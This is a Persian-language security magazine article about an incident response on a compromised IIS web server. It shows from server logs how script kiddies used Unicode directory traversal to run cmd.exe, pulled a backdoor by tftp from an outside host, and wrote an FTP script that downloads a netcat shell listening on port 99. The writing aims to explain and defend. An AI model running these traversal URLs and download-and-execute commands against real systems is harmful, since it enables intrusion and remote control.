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بنابراين . من احساس كردم كه كار خيلي جدي تر از آن چيزي بود كه فكر مي كردم                   
 بعدي خودم   URLمنظور من در     براي همين   .  خيلي با دقت تر به مساله نگاه كردم         

 قرار داشت و من     \:Cاين فايل در دايركتوري     .  را اجرا كنم   ncx99.exeسعي كردم فايل    
 . ارتباط برقرار كردمTelnet با سرور به وسيله 99به وسيله آن از طريق پورت 

 
http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc]cmd.exe, 
/c+c:\ncx99.exe 

ncx99.exe        يكي از نسخه هاي محبوب netcat           براي نفوذگر ها مي باشد كه يك شل 
اين برنامه به هر كسي اجازه مي دهد كه .  ايجاد مي كند99 روي پورت   1حراست نشده   

 را پشتيباني مي كند ارتباط برقرار كرده  و سيستم              Telnetبه هر سيستم عاملي كه       
 .ر بياوردفوق را به كنترل خود د

 كه احتمال مي دادم به         \:Cاز طريق ارتباطم با سرور ، دايركتوري ها را در درايو                
صورت مطمئني هك شده مي باشند ، تغيير دادم و سپس يك ليست كاملي از آنها و                      
نتايجاشان تشكيل دادم و سپس همه را به كامپيوتر خودم منتقل كردم تا بتوانم به                     

 .رسي كنمصورت جزيي تر آنها را بر
 

 ! و فكر كنم مادربزرگ من THCاشغال شده به وسيله جو ، ماري ، پيتر ، 
در اصل من   . وقتي كه ليست نتايج را در مقابل خودم نگاه مي كردم باز خنده ام گرفت                

فرداي همان روز دوست خودم را دعوت كردم و نتايج كارم           . خيلي بهت زده شده بودم      
شما متوجه شديد كه سرور شما تغيير پيدا كرده          « : فتم  را به او نشان دادم و به او گ         

 
1 - unprotected shell 

com.WebSecurityMgz.www                                                                                     1 

mailto:info@WebSecurityMgz.com
mailto:info@WebSecurityMgz.com
mailto:info@WebSecurityMgz.com


                رودر روي انواع هكر              

است؟ و من فكر مي كنم كه فقط شما تنها كسي توي اين كره خاكي مي باشيد كه اين                       
 »!! كار را نكرده ايد

 دفعه مورد   10فقط پس از يك پويش كوچك من به اين نتيجه رسيدم كه سرور بيش از                 
 زير فقط بعضي از دايركتوريها را نشان مي           ليست. نفوذ افراد ديگر قرار گرفته است        

 . مي باشندrootKitدهد كه شامل 
C:\scripts.bat 
C:\temp\win.asp 
c:\inetpub 
c:\inetpub\scripts 
c:\inetpub\wwwroot 
c:\inetpub\mailroot\drop\temp 
c:\winnt\system32 
c:\winnt\system32\sysstat 
 

 : كرد ليست دايركتوريهاي زير بوداما آنچه كه واقعا نظر من را جلب
 

 c:\RECYCLER\system\winnt\test\system32  دايركتوريهاي 
10/26/02 04:48a <DIR> . 
10/26/02 04:48a <DIR> .. 
10/24/02 03:49p <DIR> +01 # I N F U S i O N # 
10/24/02 03:50p <DIR> +02 H4x0r3d, Scann3d, & [ccc] 
FiLL3d by THC 
10/24/02 04:00p <DIR> +03 APPZ 
10/24/02 04:24p <DIR> +04 BOOKZ 
10/26/02 04:49a <DIR> +05 GBA 
7 File(s) 0 bytes 
 

 گيگابايت از مطالب غير     3بعد از تحقيقات بيشتر پي بردم كه اين دايركتوريها در حدود             
. بود عدد بازيهاي پيشرفته     500 را نگهداري مي كردند كه شامل بيش از          warezقانوني  

تحقيقات . يكي از دلايل اصلي كه سرعت اينترنت كند شده بود نيز همين مساله بود                   
 بوده است كه به صورت       Nimdaبعدي نيز نشان داد كه اين سرور هم آلوده به كرم              

 .فعالي به دنبال هدفهاي ديگري روي اينترنت ، خودش را منتشر مي كرده است
 او گفتم كه كل سرور را بايد از كار بياندازد و             دفعه ديگر ، مدير شبكه را خواستم و به        

همچنين آنها را متوجه اين امر كردم       . كل هارد آن را فرمت كند و دوباره پيكربندي كند          
كه سرور آنها ، ميزبان فعاليتهاي غير قانوني مي باشد كه ادامه آن ممكن است براي                    

همچنين ما  .  سرور پاك كنند   آنها  ايجاد مسووليت كند و بايد هر چه زودتر آنها را از               
درباره نصب يك ديواره آتش و يك مسير ياب و همچنين  پيكربندي شبكه  و نصب                      
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به اين صورت آنها را مجاب        .  هاي مورد نياز براي سرور بحث كرديم            Patchكليه  
در طول اين مدت    . كردم كه بدين صورت امنيت شبكه آنها تا حدودي تضمين مي شود            

در طول اين مدت    . دازي مجدد شبكه بودم ، كل آن را مسدود كردم             كه در حال راه ان     
 هاي نصب شده و سوراخهاي امنيتي سرور و                 rootkitتحقيقات بيشتري روي       

اسكريپتهايي كه توسط قوم و طائفه نفوذگران نصب شده بود تا كامپيوتر را براي خود                
كه دست نفوذگران  از      نتيجه تلاش بر روي اين مسايل اين بود            . كنند ،  انجام دادم     
 .سرور كوتاه شد

 
 اسكريپتهاي نفوذگران

قبل از اينكه داستان بعدي را براي شما بازگو كنم خيلي مهم است كه شما با طريقه و                     
وقتي . روشهايي كه نفوذگران انجام دادند تا اين سرور را به دست گرفتند آشنا شويد                

گر قرار گرفته است ولي بايد اين را         نفوذ 10من گفتم كه اين سرور مورد تهاجم بيش از          
متوجه مي شديد كه همه آنها فقط از طريق همان سوراخهاي امنيتي پايه اي به اين كار                   

در حقيقت اكثر آنها از همان          . نائل شده اند و توانسته اند به سرور نفوذ كنند                 
ني از   ها استفاده كرده اند يع       Root Kitاسكريپتهاي ابتدايي براي ، ذخيره و اجراي           

 !طريق نوشتن دستورات به صورت دستي 
خيلي راحت بگويم كه اين سرور فقط توسط بچه هكرها مورد هجوم قرار گرفته بود نه                 

فقط به خاطر خلطي كه مي شود آنها را نيز هكر مي نامند در حاليكه                  ! يك هكر واقعي    
ارد نه كس ديگر    يك نفوذگر واقعي ، داده ها و برنامه هاي خود را فقط در كنترل خود د                

و حاضرم شرط ببندم كه همه آنهايي كه به اين سرور نفوذ كردند فقط از طريق                         
استفاده از يك پويشگر سوراخهاي امنيتي و كليك روي لينكهايي كه آنها داده اند اين                   

هر كدام  . كار را انجام داده اند بدون اينكه حتي از شيوه و علت آن چيزي سر در بيارند                 
سيله استفاده از آلوده كردن يونيكد ها و يا با استفاده از اسكريپتهايي                   از آنها به و    

 هاي خود را نصب     root kitمخربي كه براي اينگونه برنامه ها وجود دارد ، توانسته اند            
يك .  ها به صورت آماده و بسته بندي مي باشند               root Kitاين گونه   . و اجرا كنند  

متر از چند ثانيه ممكن است اتفاق بيفتد كه شامل            فقط به وسيله چند دستور و ك        »نفوذ«
 .قدمهاي زير مي باشد

قدم اول تست كردن سرور براي وجود نقاط ضعف به وسيله پويشگرهاي مخصوص               
مي باشد كه آنها را نيز مي توانيد به صورت بسته هاي نرم افزاري و رايگان دانلود                      

 . كنيد
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آن در سرور مي باشد و قدم آخر نصب آن           و قرار دادن     root Kitقدم دوم ، يافتن يك      
 . مي باشد2»در پشتي«و درست كردن يك 

 هاي زير را كه از طريق فايل هاي ثبت          URLبراي فهميدن هر چه بيشتر اين سه مرحله         
 .رويدادهاي سرور به دست آورده ايم، بررسي مي كنيم

 
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+dir+c:\ 
 
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+tftp+i+XX.XX.XX.XX+backdoor.exe+c:\backdoor.exe 
 
http://xx.xx.xx.xxx/scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc] 
/c+c:\backdoor.exe 
 

ي باشد ، بسيار ساده بيان شده است ولي اكثر اسكريپتها           از آنجا كه اين فقط يك مثال م       
البته ما در   . شامل مراحل پيچيده تري مي باشند تا بتوانند يك سرور را در دست بگيرند             

زير روي اين موضوع بحث خواهيم كرد و شرح خواهيم داد كه يك حمله شامل چه                     
 . بيان خواهيم كردمراحلي مي باشد و دلايل استفاده از اينگونه اسكريپتها را 

اولين بخش از حمله نفوذگر اين مي باشد كه به چه صورتي به سرور دسترسي پيدا                    
 در سرور نياز به اين امر مي باشد كه به             Root Kitزيرا براي ذخيره كردن يك       . كند

متاسفانه براي يك نفوذگر هميشه بيش از           . سرور بتوانيم دسترسي داشته باشيم       
به عنوان  . د دارد كه مي تواند به وسيله آنها سرور را آلوده كند            وجو 3هزاران در پشتي    

مثال ، در مورد دوست من ، نفوذگران از سوراخهاي امنيتي كه در يونيكد ها وجود                     
داشته است سود جسته اند و توانستند به وسيله آن بسيار راحت سرور را به خدمت                   

ده چنين اسكريپتي مي باشد كه        نشان دهن  4يكي از مدخلهاي  فايل ثبت وقايع        . بگيرند
نفوذگر براي غلبه به سرور مشتري من  به كار برده است كه در زير نشان داده شده                     

البته به نظر من اين يك پويشگر مي باشد كه اين دستورات را به سرور فرستاده                 . است
است زيرا فايل ثبت وقايع دو دستور را پشت سر هم و با تفاوت زماني فقط دو ثانيه                      
نشان مي دهد و يا بايد بگوييم كه با يك هكر سرور كار داريم كه بسيار سريع تايپ مي                   
كند  و يا يك اسكريپتي مي باشد كه به صورت اتوماتيك فرايند نفوذ را اجرا مي كند و                     

 .يكي يكي سوراخهاي امنيتي كشف شده را روي سرور امتحان مي كند
 

                                                 
2 - back door 
3 - back door 
4 - Log entry 
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217.153.XXX.XX, -, 10/30/02, 18:24:06, W3SVC, [ccc] 
EXCHANGE, 64.3.XXX.XX, 32, 149, 2079, 200, 0, [ccc] 
GET, /scripts/..%5c..%5cwinnt/system32/cmd.exe, /c+dir+c:\ 

 
وقتي به فايل ثبت وقايع  نظري داشته باشيد متوجه مي شويد كه اين درخواست از كجا                 

ر يونيكد را مشاهده كنيد     در اينجا شما مي توانيد يك  ضعف امنيتي د           . داده شده است  
و همه اينها به     .  را در مرورگر نفوذگر نمايش مي دهد         \:Cكه به راحتي ليست درايو       

 ها را تست مي كند و نتيجه        URLوسيله يك پويشگر انجام مي شود كه  هر يك از اين              
 .را براي نفوذگر بر مي گرداند

 

 
 

جود دارد كه قابل دسترس براي هر       از اين نوع پويشگر ها  به تعدا زيادي در اينترنت و            
نفوذگري مي باشد و حتي براي كساني هيچ اطلاعي از چرايي و چگونگي ضعف امنيتي                

 .ندارند و فقط مي توانند از آنها براي به دست گرفتن سرورها سود ببرند
 و يا فايلهاي ديگري مي باشد كه بتوان         root Kitقدم دوم در اين فرآيند پيدا كردن يك          

دوباره بايد بگويم كه فايل ثبت وقايع بهترين          . يله آن يك سرور را كنترل كرد        به وس 
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 در اين مرحله ، اسكريپت نفوذگر يك فايل را با استفاده             .مثال ها را به ما نشان مي دهد       
حدود يك صفحه   .  ايجاد كرده و فايلهاي ديگر را نيز به درون سرور مي فرستد            FTPاز  

. ت فايلهاي دانلود شده به سرور اختصاص پيدا كرده بود            از فايل ثبت وقابع براي ثب       
 .بنابراين ما هم بر حسب اختيار تعدادي از آنها را در زير مي آوريم

 مخفي را در دايركتوري         5ابتدا ، نفوذگر به وسيله اسكريپت خود يك پوشه                    
C:\Inetpub  ايجاد مي كند تا RootKitهاي خود را در آن جاي دهد : 

 
217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 16, 177, 304, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cwinnt/system32/cmd.exe, /c+mkdir+c:\Inetpub\[ccc] 
mailroot\drop\temp+, 

 
اد كرده   را درون دايركتوري كه ايج      cmd.exeقدم بعدي ، اسكريپت يك كپي از فايل           

 :است ، قرار مي دهد
 
217.153.xxx.xxx, -, 10/30/02, 18:25:32, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 62, 211, 331, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cwinnt/system32/cmd.exe, /c+copy+[ccc] 
c:\winnt\system32\cmd.exe+c:\Inetpub\mailroot\drop\temp\doit.exe+, 
 

 در دايركتوري    default.txtحال اسكريپت نفوذگر براي اينكه مطمئن شود فايلي به نام           
 :فوق وجود ندارد ، آن را به وسيله دستور زير حذف مي كند

 
217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 141, 200, 362, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, [ccc] 
/c+del+c:\Inetpub\mailroot\drop\temp\default.txt+, 
 

 ، مي سازد و خطوطي را در         default.txtسپس اسكريپت يك فايل جديد به همان نام ،          
 :آن مي نويسد 

 
217.153.xxx.xxx, -, 10/30/02, 18:25:34, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 16, 221, 304, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+echo+open+[ccc] 
65.40.28.170+>>c:\Inetpub\mailroot\drop\temp\default.txt+, 
 

 :شته مي شود  نو default.txtبا استفاده از اسكريپت بالا ، خطوط زير همگي در فايل 
 

                                                 
5 - Folder 
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Open 65.40.xxx.xxx 
user anonymous >> default.txt 
echo lol@lol.com >> default.txt 
echo cd+rapport/backup >> default.txt 
get reboot.exe >> default.txt 
get TzoLibr.dll >> default.txt 
echo get ServUDaemon.ini >> default.txt 
echo get ServUCert.key >> default.txt 
get ServUCert.crt >> default.txt 
get rundlls32.exe >> default.txt 
echo get ncx99.exe >> default.txt 
echo get kill.exe >> default.txt 
echo get tasklist.exe >>default.txt 
echo quit >> default.txt 
 

 راحت مي توان از آنها فهميد كه          بنابراين تمامي خطوط در فايل نوشته شدند و خيلي          
 بعدي كه به     URL.  را ايجاد كرده است     FTPاسكريپت ، يك فايل كامل از دستورات          

 را با استفاده از ليست دستورات فايلي        FTPسمت سرور فرستاده مي شود ،دستورات       
 . كه ايجاد كرده است ، اجرا مي كند

 
217.153.xxx.xxx, -, 10/30/02, 18:34:31, W3SVC, EXCHANGE, [ccc] 
64.3.xxx.xxx, 525250, 212, 304, 200, 0, GET, /scripts/[ccc] 
..%5c..%5cInetpub/mailroot/drop/temp/doit.exe, /c+ftp+-i+-v+-n+-s:[ccc] 
c:\Inetpub\mailroot\drop\temp\default.txt+, 
 

ه كند و مطمئن    اسكريپت بعدي از پوشه ، يك ليست مي گيرد تا پيشرفت كار را مشاهد               
همچنين ! شود كه تمامي فايلها كه انتظار داشته است به سرور دانلود شده است يا نه                   

 FTPيك فايل ديگر مي سازد تا به وسيله آن نفوذگر بتواند يك در پشتي به وسيله                      
 استفاده مي كند كه عمومي ترين         Servu-FTPدر اين مرحله اسكريپت از       . ايجاد كند 

 . اشد كه توسط نفوذگران استفاده مي شود اي مي بFTPسرور 

 مي   Servustartuplog.txt ، كه در اين سرور به نام         FTPبه طور خلاصه، فايل نصب      
البته . باشد ، شامل مسيرهايي است كه قرار است به آنها امكان دسترسي داشته باشيم              

 براي حداكثر كردن قابليت سرويس دهي آن ، اسكريپت به سادگي تمامي ليست                      
 و يا هر     CD-ROM را نمايش مي دهد و اگر            Z تا    Aدايركتوريهاي درايوها ، از      

 .ديسك مجازي ديگر نيز وجود داشته باشد اين كار به سادگي  امكان پذير مي باشد
آخرين مرحله از اين فرآيند نفوذ، اجراي فايلهايي مي باشد كه در مراحل قبل در سرور                 

 ،  NetCat و نصب يك در پشتي كه به وسيله               و در آخر ايجاد    . قرار گرفته است   
ncx99.exe    البته اجراي برنامه ها نيز به وسيله        .  ، انجام شده استURL   ديگري انجام 
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                رودر روي انواع هكر              

. مي شود كه در اين مدت مطالعه ديگر خود شما نيز مي توانيد به راحتي آن را بنويسيد                  
 ديگري را به آن     حال سرور متعلق به شماست و مي توانيد هر امكاني و يا هر قابليت                

 . مي توانيد فايلهاي ثبت وقايع را به كلي پاك كنيد. اضافه و يا كم كنيد

خب، مشاهده كرديد كه در عرض چندين دقيقه يك نفوذگر مي تواند به يك سرور نفوذ                  
 .كند

 داستاني ديگر وجود دارد كه        DDOSاما در قسمتهاي بعدي ، درباره حملاتي چون            
پس با ما همراه    !! اي كه چاره اي براي آن انديشيده نشده است        حمله  . بسيار جالب است  

 .باشيد تا داستان بعد 
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